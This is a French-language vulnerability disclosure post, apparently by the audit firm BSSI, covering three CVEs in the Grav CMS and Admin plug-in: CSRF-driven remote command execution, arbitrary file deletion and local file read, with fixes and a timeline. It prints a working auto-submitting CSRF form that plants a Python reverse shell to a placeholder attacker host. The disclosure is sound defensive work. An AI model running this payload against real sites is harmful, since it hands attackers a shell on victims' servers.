4 mars 2021

[CVE-2020-29553] [CVE-2020-29555] [CVE-2020-29556] : Multiples vulnérabilités au sein du CMS Grav

Introduction

Il y a peu, BSSI a effectué un test d’intrusion sur le CMS OpenSource Grav. Ce CMS très populaire a reçu de nombreuses distinctions et cumule plus de 12 500 étoiles sur GitHub.

Cet article décrit trois vulnérabilités découvertes par l’équipe d’audit de BSSI au cours de ce test d’intrusion. Elles affectent le CMS Grav dans ses versions 1.6.28 et 1.7.0-rc.17 ainsi que le plug-in Admin dans sa version 1.9.17.

L’interface d’administration du CMS Grav permet d’administrer et de configurer facilement un site web :

Vulnérabilité n°1 – Exécution de commandes à distance (RCE) sur le CMS Grav (CVE-2020-29553)

La première vulnérabilité résulte d’un défaut de contrôle de jeton anti-CSRF permettant à un attaquant non authentifié de forcer un administrateur à exécuter des commandes sur le système, lorsque la fonctionnalité de ‘Scheduler’ est active.

La vidéo ci-dessous décrit la vulnérabilité (preuve de concept) :

[PoC vidéo]

L’exploit permettant de lancer un reverse-shell est disponible ci-dessous :

<form method="POST" name="f" action="http://victim.net/admin/tools/scheduler" 
target="hidden_iframe" style="display: none">
  <input name="task" value="save">
   <input name="data[status][cache-purge]" value="enabled">
   <input name="data[status][cache-clear]" value="enabled">
   <input name="data[status][default-site-backup]" value="enabled">
   <input name="data[custom_jobs][bssi][command]" value="python -c
'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect((&quot;ATTACKER_IP&quot;,ATTACKER_PORT));
os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);p=subprocess.call([&quot;/bin/sh&quot;,&quot;-i&quot;]);'">
   <input name="data[custom_jobs][bssi][args]" value="">
   <input name="data[custom_jobs][bssi][at]" value="* * * * *">
   <input name="data[custom_jobs][bssi][output]" value="logs/logs.txt">
   <input name="data[custom_jobs][bssi][output_mode]" value="overwrite">
   <input name="data[custom_jobs][bssi][email]" value="">
   <input type="submit">
</form>
<iframe name="hidden_iframe" style="display:none"></iframe>
<script type="text/javascript">
(function() {document.forms[0].submit()})();
</script>

Vulnérabilité n°2 – Suppression arbitraire de fichier (CVE-2020-29555)

La deuxième vulnérabilité permet à un attaquant non authentifié de supprimer n’importe quel fichier présent dans le répertoire du CMS, mais aussi ceux avec les droits en écriture par le serveur web. Cette vulnérabilité permet notamment à un attaquant de supprimer le fichier YAML de l’administrateur afin de créer ensuite un nouvel administrateur et de prendre le contrôle total du CMS.

En effet, la méthode taskBackupDelete() située à la ligne n°1374 du fichier user/plugins/admin/classes/AdminController.php ne vérifie pas correctement le chemin du fichier à supprimer et il est possible de sortir du répertoire « backup » en utilisant une technique de traversement de répertoire.

Cette vulnérabilité peut être exploitée grâce à une attaque de type CSRF qui forcera la suppression d’un fichier particulier lors de la visite par l’administrateur s’il se rend sur un site malveillant.

La vidéo ci-dessous décrit la vulnérabilité (preuve de concept) :

[PoC vidéo]

Vulnérabilité n°3 – Lecture arbitraire de fichier (LFI) (CVE-2020-29556)

La dernière vulnérabilité permet à un attaquant non authentifié de récupérer le contenu de n’importe quel fichier du serveur sous-jacent au CMS Grav.

En effet, la méthode taskBackup() située à la ligne n°1317 du fichier user/plugins/admin/classes/AdminController.php ne vérifie pas correctement le chemin du fichier à sauvegarder et il est possible de spécifier un fichier arbitraire en utilisant une technique de traversement de répertoire.

Cette vulnérabilité peut être exploitée grâce à une attaque de type CSRF chaînée à une XSS.

Lors de la visite d’un site malveillant par l’administrateur du CMS, la CSRF va d’abord injecter du code JavaScript malveillant dans une page du CMS, puis faire exécuter la charge utile injectée à l’administrateur.

La vidéo ci-dessous décrit la vulnérabilité (preuve de concept) :

[PoC vidéo]

Remédiation

La RCE (CVE-2020-29553) a été partiellement corrigée en prenant en compte le token CSRF.

La suppression arbitraire de fichier (CVE-2020-29555) a été corrigée en supprimant la vérification via strpos et en vérifiant la variable $download par le basename :

La LFI (CVE-2020-29556) a été corrigée en vérifiant le basename de la variable $backup:

Conclusion

Suite à la découverte de ces vulnérabilités, l’équipe d’audit de BSSI a contacté et déclaré les 3 vulnérabilités à l’équipe de développement du CMS Grav. Un correctif a été mis à disposition à partir du 4 décembre 2020 (correspondant aux versions Grav 1.6.30 et Admin 1.9.18). Ce correctif corrige l’ensemble des 4 vulnérabilités.

Ces vulnérabilités sont maintenant connues sous les CVE-2020-29553, CVE-2020-29555 et CVE-2020-29556.

Chronologie

21/11/2020 – Découverte des vulnérabilités
25/11/2020 – Prise de contact avec l’équipe de Grav
30/11/2020 – Relance de l’équipe
04/12/2020 – Correction des vulnérabilités via les correctifs Grav 1.6.30 et Admin 1.9.18
04/03/2021 – Divulgation des vulnérabilités

Laisser un commentaire

Votre adresse e-mail ne sera pas publiée. Les champs obligatoires sont indiqués avec *